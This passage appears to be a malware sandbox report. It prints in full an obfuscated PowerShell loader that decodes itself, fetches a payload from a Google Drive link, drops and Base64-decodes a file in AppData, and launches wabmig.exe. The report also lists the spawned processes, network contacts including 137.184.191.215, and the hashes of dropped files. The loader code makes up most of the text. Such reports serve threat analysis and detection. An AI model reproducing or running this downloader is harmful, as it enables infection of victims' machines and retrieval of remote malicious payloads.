stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"

C:\Program Files (x86)\windows mail\wabmig.exe

"C:\Program Files (x86)\windows mail\wabmig.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 drive.google.com udp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 225.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.179.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.179.227:80 o.pki.goog tcp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 227.179.250.142.in-addr.arpa udp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 137.184.191.215:80 137.184.191.215 tcp
US 8.8.8.8:53 215.191.184.137.in-addr.arpa udp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 8.8.8.8:53 25.140.123.92.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 137.184.191.215:80 137.184.191.215 tcp

Files

memory/3704-0-0x00007FFD52E93000-0x00007FFD52E95000-memory.dmp

memory/3704-1-0x000001B52DA30000-0x000001B52DA52000-memory.dmp

memory/3704-2-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp

memory/3704-8-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5os002ay.0ag.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3704-14-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp

memory/3704-16-0x00007FFD52E93000-0x00007FFD52E95000-memory.dmp

memory/3704-17-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp

memory/5064-18-0x0000000004E80000-0x0000000004EB6000-memory.dmp

memory/5064-19-0x0000000005600000-0x0000000005C28000-memory.dmp

memory/5064-20-0x0000000005460000-0x0000000005482000-memory.dmp

memory/5064-22-0x0000000005C30000-0x0000000005C96000-memory.dmp

memory/5064-21-0x0000000005500000-0x0000000005566000-memory.dmp

memory/5064-32-0x0000000005D20000-0x0000000006074000-memory.dmp

memory/5064-33-0x0000000006340000-0x000000000635E000-memory.dmp

memory/5064-34-0x0000000006370000-0x00000000063BC000-memory.dmp

memory/3704-35-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp

memory/5064-37-0x00000000068D0000-0x00000000068EA000-memory.dmp

memory/5064-36-0x0000000007BA0000-0x000000000821A000-memory.dmp

memory/5064-39-0x0000000007560000-0x0000000007582000-memory.dmp

memory/5064-38-0x00000000075D0000-0x0000000007666000-memory.dmp

C:\Users\Admin\AppData\Roaming\Fejres.Ind

MD5 14838f971ce22130c51b9a7cc01b590a
SHA1 e368099b26f7b1778b784f1057daee1ac1f0dcd8
SHA256 c1efeb9e13bff5882769c4e721442b24c3206ddaea1999fa9558826ed50d3373
SHA512 1abf7ed094e78126fbb206ca1ad54e4cc0a902bdfb5de270f75087ca5052696aa6f1232b2386ae5bf74f352a5f586043deae67f2561a1baf76d9796c2e044026

memory/5064-40-0x00000000087D0000-0x0000000008D74000-memory.dmp

memory/5064-42-0x0000000008D80000-0x000000000BFD7000-memory.dmp

memory/3704-43-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp

memory/3388-44-0x0000000001200000-0x0000000004457000-memory.dmp

memory/3388-58-0x0000000001200000-0x0000000004457000-memory.dmp

memory/3704-62-0x00007FFD52E90000-0x00007FFD53951000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1194130065-3471212556-1656947724-1000\0f5007522459c86e95ffcc62f32308f1_a53bb4ca-6113-48bb-9609-441860fdd0d7

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1194130065-3471212556-1656947724-1000\0f5007522459c86e95ffcc62f32308f1_a53bb4ca-6113-48bb-9609-441860fdd0d7

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b